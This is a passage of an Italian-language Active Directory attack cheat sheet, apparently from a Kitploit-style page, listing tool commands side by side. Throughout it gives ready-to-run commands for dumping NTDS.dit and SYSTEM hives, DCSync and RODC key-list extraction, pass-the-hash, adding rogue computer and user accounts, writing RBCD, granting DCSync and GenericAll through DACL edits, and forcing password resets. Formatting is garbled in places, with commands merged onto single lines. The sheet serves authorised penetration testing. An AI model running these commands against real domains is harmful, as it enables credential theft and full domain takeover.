Titanis — exec (no > redirect in command arg; use cmd.exe /c for copy)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Step 4 — retrieve files

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ntds.dit ntds.dit

smb: > get Windows\Temp\SYSTEM SYSTEM

Titanis — retrieve

Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 5 — clean up shadow and parse offline

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s - delete shadows volume trophy" secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files

root@kitploit:~
[↑ Torna all'indice](#index)

---

### NTDS Dump via Kerb-Key-List (RODC)

> Estrae le chiavi Kerberos AES per tutti gli account di dominio tramite il protocollo di replica delle chiavi RODC. Richiede la chiave AES o l'hash NT di un account `krbtgt` RODC (`krbtgt_XXXXX`). Non utilizza DRSUAPI o VSS — utile in ambienti in cui DCSync è bloccato. Recupera solo le chiavi Kerberos, non direttamente gli hash NTLM (anche se NTLM può essere derivato dalle chiavi RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

↑ Torna all'Indice


Parsing Offline di NTDS

Dato un ntds.dit rubato e un hive SYSTEM (da VSS, IFM, backup o pull con semantica di backup), estrai tutti gli hash localmente senza contattare nuovamente il DC.```bash

gosecretsdump — Go reimplementation; dramatically faster on large NTDS files

(secretsdump can take 20+ minutes; gosecretsdump completes in under a minute)

gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt

root@kitploit:~
[↑ Torna all'indice](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

↑ Torna all'indice


5. Enumerazione

Enumerare gli utenti di dominio (SAMR)```bash

impacket

samrdump.py DOMAIN/jdoe:[email protected] net.py DOMAIN/jdoe:[email protected] user

enum4linux-ng

enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --users

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers"

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> adinfo

Titanis

Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123

gopacket — SAMR user enumeration

samrdump DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Enumerare Gruppi / Alias Locali```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

↑ Torna all'indice


SID Brute Force / Ricerca```bash

impacket — brute force RIDs

lookupsid.py DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute

enum4linux-ng

enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123

Titanis — resolve SID

Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123
S-1-5-21-1234567890-1234567890-1234567890-500

Titanis — name to SID

Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe

gopacket — RID brute force (resolves SIDs, dumps domain SID + usernames)

lookupsid DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — null session (if allowed)

lookupsid DOMAIN/@192.168.1.10

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Enumerare gli endpoint RPC```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

↑ Torna all'indice


Query WMI```bash

impacket

wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

impacket — pass-the-hash

wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-query "SELECT * FROM Win32_Process" DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process"

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
--wmi "SELECT * FROM Win32_Process"

Titanis

Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
"SELECT * FROM Win32_Process" Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
-OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process"

gopacket — WQL query (password)

wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

wmiquery -query "SELECT * FROM Win32_Process"
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Invocazione del metodo WMI```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

↑ Torna all'indice


Operazioni sul Registro Remoto```bash

impacket — list key

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

NetExec — read a registry value (via -x)

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags"

Titanis — list key

Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion

impacket — read a value

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags

Titanis — read a value

Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags

gopacket — query a key

reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:[email protected]

gopacket — read a value

reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — set a value

reg.py DOMAIN/jdoe:[email protected] add
-keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData"

Titanis — set a value

Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKCU/Software/Test sz:TestValue=TestData

gopacket — set a value

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:[email protected]

gopacket — delete a value

reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Descrittore di sicurezza della chiave di registro```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

↑ Torna all'indice


Enumerazione dei servizi```bash

impacket

services.py DOMAIN/jdoe:[email protected] list

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --services

aiosmb — interactive client

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> services

smb> tasks

Titanis — query all services

Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

impacket — start / stop

services.py DOMAIN/jdoe:[email protected] start -name Spooler services.py DOMAIN/jdoe:[email protected] stop -name Spooler

Titanis — start / stop

Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler

Titanis — create / delete

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe" Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

gopacket — list all services

services DOMAIN/jdoe:[email protected] list

gopacket — pass-the-hash

services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] list

gopacket — query status of a single service

services DOMAIN/jdoe:[email protected] status -name Spooler

gopacket — start / stop

services DOMAIN/jdoe:[email protected] start -name Spooler services DOMAIN/jdoe:[email protected] stop -name Spooler

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Gestione dei privilegi LSA```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

↑ Torna all'indice


Enumerazione dei privilegi LSA e degli account```bash

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs"

enum4linux-ng

enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123

Titanis

Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe

root@kitploit:~
[↑ Torna all'indice](#index)

---

## 6. Active Directory / LDAP

### Enumerare utenti / computer AD```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Torna all'indice


Enumerazione di GPO e Trust di Dominio```bash

NetExec — BloodHound collection (includes GPOs and trusts)

netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All

bloodyAD — domain trusts

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search
--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> trusts

Titanis — enumerate GPO containers

Use Ldap query + -FollowReferrals on Linux; -OutputFields comma list works on Windows only

Linux: use -OutputStyle List and parse, or -OutputFields * and grep

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals

Titanis — enumerate domain trusts

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=trustedDomain)"
-OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals

Titanis — Kerberos auth variants

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1
-Password Password123 "(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath -FollowReferrals

⚠️ -TicketCache only works with Titanis-native ccache; use -Tgt with a Titanis-generated TGT instead

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN \

-TicketCache jdoe.ccache "(objectClass=trustedDomain)" -OutputFields * -FollowReferrals

ldapsearch — raw GPO objects

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)"
displayName gPCFileSysPath

root@kitploit:~
[↑ Back to Index](#index)

---

### Trova le Configurazioni di Delega```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Torna all'Indice


Aggiungi un account computer```bash

impacket — SAMR method (no LDAPS required)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — LDAPS method

addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash (SAMR)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123!

NetExec

netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123

Titanis — plain LDAP (creates account, unicodePwd not set without -Ssl)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

Titanis — LDAPS (sets unicodePwd; use full DN as ObjectName)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
-NewPassword Password123! -Ssl
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

gopacket — SAMR method (plain LDAP or no LDAPS; confirmed working with -Ssl flag on Titanis)

addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

gopacket — LDAP method (requires -port 389; use -Ssl / -port 636 for LDAPS)

addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Aggiungi un Account Utente```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

↑ Torna all'indice


Imposta RBCD```bash

impacket

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$
msDS-AllowedToActOnBehalfOfOtherIdentity -v ''

gopacket — set RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity; requires -port 389)

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — read current RBCD value

rbcd -delegate-to TARGET$ -action read
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Abuso di DACL

> **Stato di Titanis:** Nessuna capacità di scrittura ACE. `bloodyAD` è l'opzione non-impacket preferita. `dacledit.py` / `owneredit.py` sono i fallback di impacket.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

↑ Torna all'indice


Modifica degli attributi utente (UAC Bitflags)```bash

